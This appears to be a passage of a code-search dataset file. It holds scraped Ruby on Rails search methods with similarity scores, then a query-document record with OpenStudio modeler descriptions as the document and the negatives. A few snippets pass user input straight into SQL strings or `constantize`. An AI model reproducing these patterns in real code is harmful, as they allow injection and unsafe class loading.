"def common_account_search\n if params[:q].strip == ''\n matching_accounts = @company.accounts.all(:order=>'name ASC')\n else\n matching_accounts = @company.accounts.search params[:q], :star => true, :limit => 10000\n end\n render :partial=> 'common_account_search', :locals => {:matching_accounts => matching_accounts}\n end",
"def index\n\n @publications = Publication.all.includes(:region, :commune, :publication_attachments) #Bulllet\n @publications = @publications.by_title(params[:search_title]) if params[:search_title].present?\n @publications = @publications.by_type(params[:search_type]) if params[:search_type].present?\n @publications = @publications.by_address(params[:search_address]) if params[:search_address].present?\n @publications = @publications.by_region(params[:search_region]) if params[:search_region].present?\n @publications = @publications.by_commune(params[:search_commune]) if params[:search_commune].present?\n @publications = @publications.by_address2(params[:search_address2]) if params[:search_address2].present?\n @publications = @publications.by_region2(params[:search_region2]) if params[:search_region2].present?\n @publications = @publications.by_commune2(params[:search_commune2]) if params[:search_commune2].present?\n @publications = @publications.by_width_min(params[:width_min]) if params[:width_min].present?\n @publications = @publications.by_width_max(params[:width_max]) if params[:width_max].present?\n @publications = @publications.by_length_min(params[:length_min]) if params[:length_min].present?\n @publications = @publications.by_length_max(params[:length_max]) if params[:length_max].present?\n @publications = @publications.by_height_min(params[:height_min]) if params[:height_min].present?\n @publications = @publications.by_height_max(params[:height_max]) if params[:height_max].present?\n @publications = @publications.by_latitude_min(params[:latitude_min]) if params[:latitude_min].present?\n @publications = @publications.by_latitude_max(params[:latitude_max]) if params[:latitude_max].present?\n @publications = @publications.by_longitude_min(params[:longitude_min]) if params[:longitude_min].present?\n @publications = @publications.by_longitude_max(params[:longitude_max]) if params[:longitude_max].present?\n end",
"def index\n @products = Product.all\n\n # @search = Product.search(params[:q])\n # @products = @search.result(distinct: true)\n\n # @search = Product.search(params[:q])\n # @products = @search.result(:distinct => true).paginate(:page => params[:page], :per_page=>100)\n \n #@product = Product.new \n # @search = Article.search(params[:search])\n # @articles = @search.all\n end",
"def index\n @holds = @member.holds.include_parents.where(params[:search])\n respond_with(@holds)\n end",
"def search_scope\n super\n end",
"def models\n @model_class = params[:model_class].constantize\n assoc = false\n query = params[:query]\n \n unless query.blank?\n query = query.gsub(/<\\/?[^>]*>/, '').downcase\n \n conditions = @model_class.searchables.map do |field|\n if @model_class.column_names.include?(field)\n \"#{@model_class.table_name}.#{field} ILIKE :q\"\n else\n assoc = @model_class.get_assoc_prefix_for(field)\n \"#{assoc[:prefix]}.#{field} ILIKE :q\"\n end\n end.join(' OR ') if @model_class.respond_to? :searchables\n \n options = { :conditions => [conditions, { :q => \"%#{query}%\" }] }\n options.store :include, assoc[:join] if assoc\n \n @results = @model_class.all options\n else\n flash[:error] = 'Type something in to search for, DUH!'\n end\n \n render :layout => false if request.xhr?\n end",
"def find_from_search(*ids)\n unless ids.blank?\n results = {}\n ids.flatten.dice(20).each do |set|\n query = (set.map { |id| \"(id:\\\"#{id}\\\")\" }).join(' || ')\n search_results = search_for(query, :qt => 'standard', :rows => set.length)\n search_results.models.each do |result|\n results[result.id] = result\n end\n end\n ids.flatten.map { |id| results[id] }.compact\n else\n []\n end\n end",
"def find_from_search(*ids)\n unless ids.blank?\n results = {}\n ids.flatten.dice(20).each do |set|\n query = (set.map { |id| \"(id:\\\"#{id}\\\")\" }).join(' || ')\n search_results = search_for(query, :qt => 'standard', :rows => set.length)\n search_results.models.each do |result|\n results[result.id] = result\n end\n end\n ids.flatten.map { |id| results[id] }\n else\n []\n end\n end",
"def indexHairdressers\n\n \n @q = Vendor.where(entry:'Hairdresser').ransack(params[:q])\n\n @per_page = params[:per_page] || Vendor.per_page || 20\n @vendors = @q.result(:distinct=>true).paginate( :per_page => @per_page, :page => params[:page])\n \n\n\n if @vendors.size.zero?\n flash[:notice] = \"No Matches Found\"\n end\n end",
"def search\n search_results = NeedHelp.search(params[:column], params[:key])\n render :json => search_results.to_json(\n :include => [\n :need_help_category, :user => {:include => :street}\n ])\n end",
"def permitted_search_fields\n fields = @rails.resource.fields\n\n to_ids = []\n\n expanded_fields = expand_association_to_ids fields\n\n search_fields.each do |key|\n next unless expanded_fields.keys.include?(key)\n type = expanded_fields[key]\n to_ids << (['references', 'belongs_to'].include?(type.downcase) ? \"#{key}_id\" : key)\n end\n to_ids\n end",
"def search_results(type, request, opts={})\n params = request.params\n ds = apply_associated_eager(:search, request, all_dataset_for(type, request))\n columns_for(:search_form, request).each do |c|\n if (v = params[c.to_s]) && !(v = v.to_s).empty?\n if association?(c)\n ref = model.association_reflection(c)\n ads = ref.associated_dataset\n if model_class = associated_model_class(c)\n ads = model_class.apply_filter(:association, request, ads)\n end\n primary_key = S.qualify(ref.associated_class.table_name, ref.primary_key)\n ds = ds.where(S.qualify(model.table_name, ref[:key])=>ads.where(primary_key=>v).select(primary_key))\n elsif column_type(c) == :string\n ds = ds.where(S.ilike(S.qualify(model.table_name, c), \"%#{ds.escape_like(v)}%\"))\n else\n begin\n typecasted_value = model.db.typecast_value(column_type(c), v)\n rescue S::InvalidValue\n ds = ds.where(false)\n break\n else\n ds = ds.where(S.qualify(model.table_name, c)=>typecasted_value)\n end\n end\n end\n end\n paginate(type, request, ds, opts)\n end",
"def include_objects\n ActsAsVotable::Vote.includes(:votable)\n end",
"def include_objects\n ActsAsVotable::Vote.includes(:votable)\n end",
"def index\n\t\t@related_contents = RelatedContent.includes(node: :course)\n\t if params[:id] && params['id']!=\"\"\n \t @related_contents = @related_contents.where('id = ?', params[:id])\n \tend\n\t if params[:description] && params['description']!=\"\"\n \t @related_contents = @related_contents.where('description LIKE ?', \"%#{params[:description]}%\")\n \tend\n\t if params[:filename] && params['filename']!=\"\"\n \t @related_contents = @related_contents.where('filename LIKE ?', \"%#{params[:filename]}%\")\n \tend\n\t if params[:node_name] && params['node_name']!=\"\"\n\t\t\t@related_contents = @related_contents.references(:node)\n \t @related_contents = @related_contents.where('nodes.content LIKE ?', \"%#{params[:node_name]}%\")\n \tend\n \t@related_contents = @related_contents.paginate(page: params[:page], per_page: 20).order('related_contents.created_at DESC')\n end",
"def fetch_search\n @search = Question.find_by_id(params[:id])\n end",
"def index\n @enrollment = Participantstudysite.new\n @participants = Participant.all\n @allstudy= Studysite.select(\"sites.name||'('||sites.location||')-'||studies.title||'('||studies.principal_investigator||')' as text,studysites.id as key\").joins(:site,:study)\n\n end",
"def index\n if can?(:read, Part)\n @parts = Part.ransack(params[:q])\n @searched = false\n @search_results = []\n if params[:q]\n @search_results = @parts.result(:distinct => true)\n @searched = true\n end\n render_template\n else\n redirect_to root_path\n end\n end",
"def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end",
"def index\n @item_collections = ItemCollection.where('is_private=false')\n if !params[:search].nil? || params[:search] == ''\n t = ItemCollection.arel_table\n @item_collections = ItemCollection.where(t[:name].matches(\"%#{params[:search]}%\").and(t[:is_private].eq(false)))\n #@item_collections = ItemCollection.where('name LIKE ? AND is_private=false', \"%#{params[:search]}%\")\n end\n end",
"def search_model\n end",
"def index\n @notes = current_registry.person.notes.includes(:about_person => :person)\n @notes = @notes.includes(:about_event => :event)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end",
"def index\n @q = Person.ransack(params[:q])\n @people = @q.result(distinct: true)\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = LentType.ransack(params[:q]) \n @query.name_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @lent_types = @results \n end",
"def search\n @sharedpurposes = Sharedpurpose.search params[:search]\n \n render \"index\"\n end",
"def index\n# @blogssss = Blog.all\n\n#\t@blogs = Member.joins(:blogs)\n#\t@blogs = Member.select(\"username, email\").joins(:blogs)\n\n\t#following one not working\n#\t@blogs = Member.select('members.id','username', 'email').includes(:blogs => [:subject, :content])\n\n\n\t\n # @blogs = Member.joins(:blogs).select(:username, :content)\n\n\n\t@blogsmember = Blog.joins(:member)\n#\treturn render text: [@blogs.first.member.inspect ]\n\n#\t@blogs = Member.includes(:blogs)\t\n#\t@blogs = Blog.includes(:members)\n\n#\t@blogs = Blog.find(:all, limit: 100,\n# joins: \"LEFT JOIN `members` ON blogs.member_id = members.id\")\n\n\t\n\n end",
"def index\n @search = User.search(params[:q])\n @users = @search.result #.includes(:user)\n end",
"def index\n @search = Client.ransack(params[:q])\n @search.sorts = 'id desc' if @search.sorts.empty?\n @clients = @search.result.includes(:favorites, :restocks).paginate(page: params[:page], per_page: 50)\n end",
"def index\n @episodes = Episode.online.desc_human.recommend_before_today\n\n _project_ids = @episodes.pluck(:project_list).map{|x| x.split(\",\") }\n project_ids = _project_ids.flatten.map(&:to_i)\n\n projects = Project.online.where(id: project_ids).includes(:github_info, :category => :catalog)\n\n # @recommend_gems = projects.gemspec.includes(:github_info, :category => :catalog)\n\n # @recommend_pods = projects.pod.includes(:github_info, :category => :catalog)\n end",
"def index\n @searches = Search.where(business_id: current_business.id)\n end",
"def indexHall\n @q = Vendor.where(entry:'Hall').ransack(params[:q])\n\n @per_page = params[:per_page] || Vendor.per_page || 20\n @vendors = @q.result(:distinct=>true).paginate( :per_page => @per_page, :page => params[:page])\n if @vendors.size.zero?\n flash[:notice] = \"No Matches Found\"\n end \n end",
"def index\n @note = Note.where(user_id: current_user.id, status: true)\n @notes =\n if params[:search]\n @notes = Note.includes(:tags,:taggings).references(:tags).where(\n 'notes.title LIKE :search OR notes.description LIKE :search OR tags.name LIKE :search',\n search: \"%#{params[:search]}%\"\n ).paginate(\n page: params[:page],\n per_page: 4\n ).where(\n status: true,\n user_id: current_user.id\n ).distinct\n else\n @notes = Note.includes(:tags,:taggings).references(:tags).where(\n status: true,\n user_id: current_user.id\n ).order(\n created_at: :desc\n ).paginate(\n page: params[:page],\n per_page: 4\n )\n end\n end",
"def includes\n @includes ||= remove_through_model(full_includes)\n end",
"def searchable_on(*fields)\n # Make sure that the table to be searched actually exists\n if self.table_exists?\n if fields.first.class.to_s == 'Hash'\n if fields.first.has_key?(:only)\n fields = fields.first[:only]\n elsif fields.first.has_key?(:except)\n fields = self.column_names.collect { |column| \n fields.first[:except].include?(column.to_sym) ? nil : column.to_sym }.compact\n end\n end\n \n assoc_models = self.reflections.collect { |m| m[0] }\n assoc_fields = fields - self.column_names.collect { |column| column.to_sym }\n fields -= assoc_fields\n \n assoc_groupings = {}\n assoc_models.each do |assoc_model|\n assoc_groupings[assoc_model] = []\n \tassoc_fields.each do |assoc_field|\n \t unless assoc_field.to_s.match(/^#{assoc_model.to_s}_/).nil?\n assoc_groupings[assoc_model] << assoc_field.to_s.sub(/^#{assoc_model.to_s}_/, '').to_sym \n end\n end\n end\n \n assoc_groupings = assoc_groupings.delete_if {|group, field_group| field_group.empty?}\n \n self.cattr_accessor :scoped_search_fields, :scoped_search_assoc_groupings\n self.scoped_search_fields = fields\n self.scoped_search_assoc_groupings = assoc_groupings\n self.named_scope :search_for, lambda { |keywords| self.build_scoped_search_conditions(keywords) }\n end\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = TypeClient.ransack(params[:q]) \n @query.name_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @type_clients = @results \n end",
"def includes\n return :survey\n end",
"def index\n @included_ins = IncludedIn.all\n end",
"def index\n @q = Student.ransack(params[:q])\n @students = @q.result(distinct: true).page(params[:page]).per(10) \n end",
"def search_result\n\t\t@questions = Question.search(params[:search]).for_index_set.page(params[:page]).per(10).order(:id)\n\tend",
"def search\n @articles = Article.includes(:comments).order(date: :desc).where(\"title LIKE ? OR content LIKE ?\", \"%#{params[:keyword]}%\", \"%#{params[:keyword]}%\").take(20)\n end",
"def index\n# @events = Event.all\n\n @q = Event.ransack(params[:q])\n @events = @q.result(distinct: true).page(params[:page]).per(3)\n\n \n end",
"def index\n\n if (params[:query] != nil)\n q = \"%#{params[:query]}%\";\n\n @queryParam = params[:query];\n #find referents that have fields fuzzilly matching the query\n #works for all the fields inside the referents. doesn't work with telephone or organisme since those aren't field\n #in Referents\n\n result = Referent.where(\"LOWER(prenom) LIKE ? OR LOWER(nom) LIKE ? OR LOWER(courriel) LIKE ? OR LOWER(fax) LIKE ? OR LOWER(title) LIKE ? OR LOWER(departement) LIKE ? OR refid LIKE ?\",q.downcase,q.downcase,q.downcase,q.downcase,q.downcase,q.downcase,q)\n resultTelephone = Telephone.where(\"number LIKE ?\",q)\n\n resultTelephone.each do |telephone|\n result = result + Referent.find(telephone.referent_id)\n end\n\n @referents = result\n\n else\n @queryParam = nil;\n @referents = Referent.all;\n end\n\n end",
"def index\n @okrs = @user.okrs.active.includes([:objectives => [:key_results]])\n @okr = @okrs.first\n end",
"def model_includes\n if @include_param.nil?\n @include_param = []\n else\n if check_two_level\n model_includes_single_or_multiple_two_level_resources\n #duplicate_item\n else\n model_includes_single_or_multiple_three_level_resources\n end\n end\n end",
"def record_default_search\n Umbra::Record.search {\n fulltext params[:q]\n any_of do\n current_user_admin_collections.each { |collection|\n with(:collection, collection)\n }\n end\n order_by(sort_column.to_sym, sort_direction.to_sym)\n paginate :page => params[:page] || 1, :per_page => 30\n }\n end",
"def items\n @entries = Item.includes(:outlet, :item_group, :item_sub_group, :item_groups_kot_print, :bill_group).where(\"location_id=? #{@outlet_query}\", params[:location_id].to_i).paginate(:page => params[:page]) if request.xhr? \n end",
"def indexDresses\n @q = Vendor.where(entry:'Dress').ransack(params[:q])\n\n @per_page = params[:per_page] || Vendor.per_page || 20\n @vendors = @q.result(:distinct=>true).paginate( :per_page => @per_page, :page => params[:page])\n \n \n \n\n if @vendors.size.zero?\n flash[:notice] = \"No Matches Found\"\n end\n end",
"def index\n @banal_documents = Banal::Document.joins(:related_object).where('banal_related_objects.object_id' => params[:related_object_id], 'banal_related_objects.object_type' => params[:related_object_type])\n end",
"def index\n # natural_science_cond = \"disciplines.label ILIKE '%-ЕНМ.%'\"\n # humanities_cond = \"disciplines.label ILIKE '%-ГМ.%'\"\n # # limit 50 records\n # @specialties = Specialty.joins(:disciplines).where(\"#{natural_science_cond} OR #{humanities_cond}\").distinct.limit(50)\n # @specialties = @specialties.where(\"full_direction ilike ?\", '%' + params['full_direction'].to_s + '%') if params['full_direction'].present?\n # @specialties = @specialties.where(\"level = ?\", params['level'].to_s) if params['level'].present?\n # @specialties = @specialties.where(\"study_form = ?\", params['study_form'].to_s) if params['study_form'].present?\n end",
"def show_rels_ext_records solr_parameters, user_parameters\n # Determine kind of search\n search = false\n\n if ( user_parameters.key?(\"search_field\") and (!user_parameters[:q].nil?) and (user_parameters[:search_field] == \"related to\"))\n # Basic blacklight search for rels_ext of id\n search = true\n q = user_parameters[:q]\n type_of_search = \"related to\"\n end\n\n if ( user_parameters.key?(\"related to\") and !user_parameters['related to'].nil? and !user_parameters['related to'].empty? )\n # Advanced blacklight search for rels_ext of id\n search = true\n q = user_parameters['related to']\n type_of_search = \"related to\"\n end\n\n if (search)\n # this is a related search, so \"q\" is the id that we will find in solr, which is really now an internal_uri converted from RELS-EXT\n id = MedusaPremis::General.return_uri(q)\n\n # what to do if nil??... skip adding solr parsm... otherwise, it will pick everything\n\n # add internal_uri.... to actual id (which won't find anything... and there's no need to get rid of)\n if (!id.nil?)\n solr_parameters[:q] = \"\\{!qf=$related_to_qf pf=$related_to_pf\\}#{id}\"\n end\n end\n end",
"def index\n @q = Idea.ransack(params[:q])\n @search_field = :title_cont\n if params[:q].present?\n @ideas = @q.result(distinct: true)\n else\n @ideas = Idea.all\n end\n # respond_with @ideas\n respond_to do |format|\n format.html\n format.json { render json: @ideas }\n end\n end",
"def indexPhotographers\n @q = Vendor.where(entry:'Photographer').ransack(params[:q])\n\n @per_page = params[:per_page] || Vendor.per_page || 20\n @vendors = @q.result(:distinct=>true).paginate( :per_page => @per_page, :page => params[:page])\n if @vendors.size.zero?\n flash[:notice] = \"No Matches Found\"\n end\n end",
"def show\n @orderpad = Order.includes([:Schedule, :Contracts => :ContractType]).find(params[:id])\n\n # @Frank = Route.find(:all,\n #:include => [{:Schedules => {:Orders => [:Servicecode,{:Property => :Warranties}]}}],\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @orderpad }\n end\n end",
"def search(other_table, hash = {})\n self_table = table\n self_id = \"#{self_table}_id\".to_sym\n model_to_search = Jaccess::Model.model_table[other_table]\n join = model_to_search.extended_join(self_table)\n join.filter({ self_id => id }.merge(hash))\n end",
"def index\n authorize! :read, Category\n if params[:search] \n @categories = Category.includes(:related_categories, :suggested_categories).where(\"lower(name) LIKE :search\",{search: \"%#{params[:search].downcase}%\"}).order( :name )\n else\n @categories = Category.includes(:related_categories, :suggested_categories).all.order( :name )\n end\n end",
"def index\n @jobs = current_teacher.jobs.where(exam_id: @exam.id).\n order_by(:question_id => 'asce').\n includes([:student, :question, :grade])\n end",
"def index_query_results\n query = find_or_create_query(:Project, by: params[:by])\n show_selected_projects(query, id: params[:id].to_s, always_index: true)\n end",
"def map_in_included_relations!(result, query)\n dat = get_relation_data_as_hash(query)\n result.each do |res|\n dat.each do |name, lookup|\n res[name] = lookup[res[@relations[name][:this_key]]]\n if @relations[name][:type] == :has_one\n res[name] = res[name][0] unless res[name].nil?\n else \n res[name] = [] if res[name].nil?\n end\n end\n end\n end",
"def showphenology\n @block = Block.find(params[:id])\n \n @search_phenology = @block.phenology_records.ransack(params[:q])\n @phenology_records = @search_phenology.result.paginate(:page => params[:page], :per_page => @per_page)\n\n @search_production = @block.phenology_records.ransack(params[:q])\n @production_records = @search_production.result.paginate(:page => params[:page], :per_page => @per_page)\n \n end",
"def index\n #@elective_days = ElectiveDay.all\n @search = Elective.search(params[:q])\n @electives = @search.result(:distinct => true)\n @search.build_condition if @search.conditions.empty?\n @search.build_sort if @search.sorts.empty?\n end",
"def search\n params[:search] ||= {}\n @document = Document.public.find_by_path(params[:path].join('/'))\n params[:search].merge!(:parent_id => @document.id)\n params[:search][:state_eq] = 'published'\n @documents = Document.search(params[:search]).paginate :page => params[:page], :per_page => Settings.documents.per_page\n setup_view_environment\n render :template => view_for(:suffix => '_search')\n end",
"def index\n @searcheds = Searched.all\n end",
"def index\n @join_specific_content_to_places = JoinSpecificContentToPlace.all\n end",
"def show\n @user = @okr.user\n @okrs = @user.okrs.active.includes([:objectives => [:key_results]])\n end",
"def model_includes\n @model_includes ||= parse_for_active_record_includes(resources: included_resources)\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = Supplier.ransack(params[:q]) \n @query.num_doc_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @suppliers = @results \n end",
"def index\n @q = current_lead \n @presentations = current_lead.presentations.order(\"created_at ASC\")\n # = current_user.presentations.ransack(params[:q])\n #@presentations = @q.result(:distinct => true).includes(:lead, :contributors, :insights).page(params[:page]).per(10)\n # this was mine but its not working, @presentations = current_user.presentations\n render(\"presentations/index.html.erb\")\n end",
"def index\n field = params[:field]\n keyword = params[:keyword]\n consults = Consult.joins(:user)\n if field.present? && keyword.present?\n consults = consults.where([\"consults.#{field} = ?\", keyword])\n else\n consults = consults.where(status: 0, admin_reply: 0)\n end\n @consults = consults.select(:id, :user_id, :content, :status, :unread, :admin_reply, :admin_id, 'users.nickname').page(params[:page]).per(params[:per])\n end"
] |
[
"0.61486495",
"0.6118383",
"0.60725015",
"0.6040382",
"0.59594625",
"0.59472096",
"0.59238833",
"0.5909134",
"0.5888448",
"0.5861674",
"0.58246166",
"0.57910496",
"0.5770943",
"0.5770632",
"0.57703865",
"0.57703865",
"0.5757596",
"0.5751043",
"0.5750249",
"0.5706194",
"0.56997555",
"0.56790173",
"0.56416816",
"0.5640276",
"0.5637681",
"0.5629597",
"0.5623898",
"0.5618312",
"0.56060535",
"0.55937314",
"0.5582342",
"0.5575053",
"0.5569116",
"0.5561717",
"0.5561291",
"0.5546676",
"0.5546165",
"0.5529587",
"0.55237114",
"0.5519526",
"0.55177915",
"0.5515668",
"0.55148315",
"0.5513759",
"0.55135447",
"0.5512753",
"0.5512753",
"0.551183",
"0.5511266",
"0.5508502",
"0.5506351",
"0.55019975",
"0.5498321",
"0.54958177",
"0.5482736",
"0.5482171",
"0.548157",
"0.5480785",
"0.54801375",
"0.54756695",
"0.54661113",
"0.54636276",
"0.54606426",
"0.5454654",
"0.5452222",
"0.54495037",
"0.5445996",
"0.5444432",
"0.5435098",
"0.5435095",
"0.54341805",
"0.54288775",
"0.5427956",
"0.54274726",
"0.54255265",
"0.5422292",
"0.5420409",
"0.5418642",
"0.5415942",
"0.5414921",
"0.5414614",
"0.5414053",
"0.54059464",
"0.5405821",
"0.5399186",
"0.5395521",
"0.53926134",
"0.53775084",
"0.53709066",
"0.5369929",
"0.53674823",
"0.53660387",
"0.5364612",
"0.53597003",
"0.53586733",
"0.5357823",
"0.53540033",
"0.5344827",
"0.5343936",
"0.5339509",
"0.533638"
] |
0.0
|
-1
|
human readable description of modeling approach
|
def modeler_description
return 'This measure is used to calibrate the BRICR baseline model.'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def modeler_description\n return 'Gather orientation and story specific construction, fenestration (including overhang) specific information'\n end",
"def modeler_description\n return \"Example use case is adding special loads like an elevator to a model as part of an analysis workflow\"\n end",
"def modeler_description\n return 'Currently this is just setup for design level calculation method, but it could be extended as needed..'\n end",
"def modeler_description\n return 'shift or/and adjust heaing and cooling setpoint'\n end",
"def modeler_description\n return 'This model replaces the existing HVAC system with a VRF + DOAS system.'\n end",
"def modeler_description\n return \"This uses the OpenStudio::Model::Space::fromFloorPrint method, and is very much like the Create Spaaces From Diagram tool in the OpenStudio SketchUp plugin, but lets you draw teh diagram in the tool of your choice, and then imports it into the OpenStudio application via a measure.\"\n end",
"def modeler_description\n return 'This can be used in apply measure now, or can be used in a parametric workflow to load in any custom user profiles or floor/ceiling values.'\n end",
"def modeler_description\r\n return \"objective function\"\r\n end",
"def modeler_description\r\n return \"objective function\"\r\n end",
"def modeler_description\n return \"Any generators and electric load center distribution objects are removed. An electric load center distribution object is added with a track schedule equal to the hourly output from SAM. A micro turbine generator object is add to the electric load center distribution object. The fuel used to make the electricity is zeroed out.\"\n end",
"def modeler_description\r\n return \"For each model, find every DX cooling and heating coil and increase the COP to 6. Since very little information about this technology is available, do not change performance curves or upper/lower operating temperature limits.\"\r\n end",
"def modeler_description\n return 'Modify the cooling setpoint of the HVAC system during a DR event'\n end",
"def modeler_description\n return 'This a test measure in relation with https://github.com/NREL/OpenStudio/issues/4156'\n end",
"def modeler_description\n return \"When have existing OSM wanted to be able to grab geometry from model vs. trying to enter on website. This is useful when there is no built structures yet to use as reference on the website.\"\n end",
"def modeler_description\n return \"Grey water tank overflow will be dirrected to drainage. \"\n end",
"def modeler_description\n return \"NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.\"\n end",
"def modeler_description\n return 'HVAC system creation logic uses [openstudio-standards](https://github.com/NREL/openstudio-standards) and efficiency values are defined in the openstudio-standards Standards spreadsheet under the *NREL ZNE Ready 2017* template.'\n end",
"def description()\n\t\tself.namespaced_class(:ModelDescriptor).goal(self)\n\tend",
"def modeler_description\n 'NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.'\n end",
"def modeler_description\n return 'Not sure how I will handle arguments. Maybe lump together all spaces on same sotry that have the same multilier value. This will have variable number of arguments basd on the model pased in. Alternative is to either only allo w one group to be chosen at at time, or allow a comlex string that describes everything. Also need to see how to define shirting. There is an offset but it may be above and below and may not be equal. In Some cases a mid floor is halfway betwen floors which makes just copying the base surfaces as shading multiple times probemeatic, since there is overlap. It coudl be nice to stretch one surface over many stories. If I check for vertial adn orthogonal surface that may work fine. '\n end",
"def modeler_description\n return \"It does not even send anything related to the model. It just sends a simple pagkage at the end of every run, just to test if things really work.\"\n end",
"def modeler_description\n return ['Adds', 'the', 'properties', 'for', 'the', 'MoisturePenetrationDepthConductionTransferFunction', 'or', 'effective', 'moisture', 'penetration', 'depth', '(EMPD)', 'Heat', 'Balance', 'Model', 'with', 'inputs', 'for', 'penetration', 'depths.', \"\\n\\n\", 'Leaving', 'Change', 'heat', 'balance', 'algorithm?', 'blank', 'will', 'use', 'the', 'current', 'OpenStudio', 'heat', 'balance', 'algorithm', 'setting.', \"\\n\\n\", 'At', 'least', '1', 'interior', 'material', 'needs', 'to', 'have', 'moisture', 'penetration', 'depth', 'properties', 'set', 'to', 'use', 'the', 'EMPD', 'heat', 'balance', 'algorithm.'].join(' ')\n end",
"def modeler_description\n return \"Change water heater efficiency and fuel type.\"\n end",
"def modeler_description\n return \"Assume that the starting point technology is primarily 90.1-2013 T8 lighting, with an efficacy of 90 lm/W. According to Table 5.2, LED Efficacy Improvement, in (1), 2015 LED luminaire efficacy is 145 lm/W. Calculate the total lighting power of the model and divide by this initial efficacy to determine the total number of lumens needed. Assuming that this same number of lumens should be provided by LED lighting, divide by the LED efficacy to determine the total wattage of LEDs that would be necessary to achieve the same lighting. Reduce the overall building lighting power by the resulting multiplier. IE new LPD = old LPD * (1 - 90 lm/W /145 lm/W). This is a very crude estimate of the impact of current LED technology. In order to perform a more nuanced analysis, lighting in the prototype buildings should be broken down by use type (general space lighting, task lighting, etc.) and by currently assumed technology (T12, T8, metal halide, etc.). If this breakdown were available, each type of lighting could be modified according to its own efficacy characteristics. Additionally, this measure does not account for the impact of LEDs on outdoor lighting.\"\n end",
"def modeler_description\n return 'For each model, find every DX cooling and heating coil and increase the COP to 6. Since very little information about this technology is available, do not change performance curves or upper/lower operating temperature limits.'\n end",
"def modeler_description\n return \"This measure will replicate the functionality described in the EnergyPlus Energy Management System Application Guide, Example 2., based on user input.\"\n end",
"def modeler_description\n return 'This measure assigns load and flow information to a selected plant loop load profile.'\n end",
"def modeler_description\n return \"This is intended to run on an empty model. It will create the proper model associate it with the proper weather file, and add in necessary output requests. Internally to the measure the test case argument will be mapped to the proper inputs needed to assemble the model. The measure will make some objects on the fly, other objects will be pulled from existing data resources. This measure creates cases described all of section 5.3.\"\n end",
"def modeler_description\n return \"Each DX cooling coil in the model is replaced by a membrane heat pump. To represent the membrane heat pump, the DX cooling coil COP is increased to 7.62 (26 EER). Additionally, add a water use equipment object to account for the 3 gallons of water used per ton*hr of sensible cooling process.\"\n end",
"def modeler_description\n 'For the most part consumption data comes from the tabular EnergyPlus results, however there are a few requests added for time series results. Space type and loop details come from the OpenStudio model. The code for this is modular, making it easy to use as a template for your own custom reports. The structure of the report uses bootstrap, and the graphs use dimple js.'\n end",
"def modeler_description\n return 'Adds typical refrigeration equipment to a building'\n end",
"def modeler_description\r\n return \"\"\r\n end",
"def modeler_description\n return \"E+ RESNET\"\n end",
"def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as warning messages in the measure's output on the PAT run tab.\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"A measure that will take Annual Building Utilty Performance tables, Demand End use Components summary table, Source Energy End Use Components Summary and produce an output Json\"\n end",
"def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as Warning messages in the measure's output on the PAT run tab.\"\n end",
"def modeler_description\n return 'The goal of this measure is to create a single space type that represents the loads and schedules of a collection of space types in a model. When possible the measure will create mulitple load instances of a specific type in the resulting blended space type. This allows the original schedules to be used, and can allow for down stream EE measures on specific internal loads. Design Ventilation Outdoor Air objects will have to be merged into a single object. Will try to maintain the load design type (power, per area, per person) when possible. Need to account for zone multipliers when createding blended internal loads. Also address what happens to daylighting control objets. Original space types will be left in the model, some may still be assigned to spaces not included in the building area.'\n end",
"def modeler_description\n 'It will be used for calibration maximum flow rate, efficiency, pressure rise and motor efficiency. User can choose between a SINGLE Fan or ALL the Fans.'\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return 'This measure has optional arguments to apply recommendations from different sections of the Zero Energy Multifamily Design Guide.'\n end",
"def modeler_description\n 'It will be used for calibration of WaterHeaterMixed. User can choose between a SINGLE WaterHeaterMixed or ALL the WaterHeaterMixed objects.'\n end",
"def modeler_description\n return \"It will be used for calibration of inlet water temperatures, inlet and outlet air temperatures and design flowrates. User can choose between a SINGLE coil or ALL the Coils.\"\n end",
"def modeler_description\n return 'Find the exterior lighting template for the building, and assume the existing efficiency level in the model (low, medium, high). Find the desing level and multiplier for each category of the exterior lighting definition. Apply the lighting upgrades by reducing the design level associated with each outdoor lighting category by a percent (depends on starting and target efficiency levels).'\n end",
"def modeler_description\n return 'Change UrbanOpt Scenario CSV'\n end",
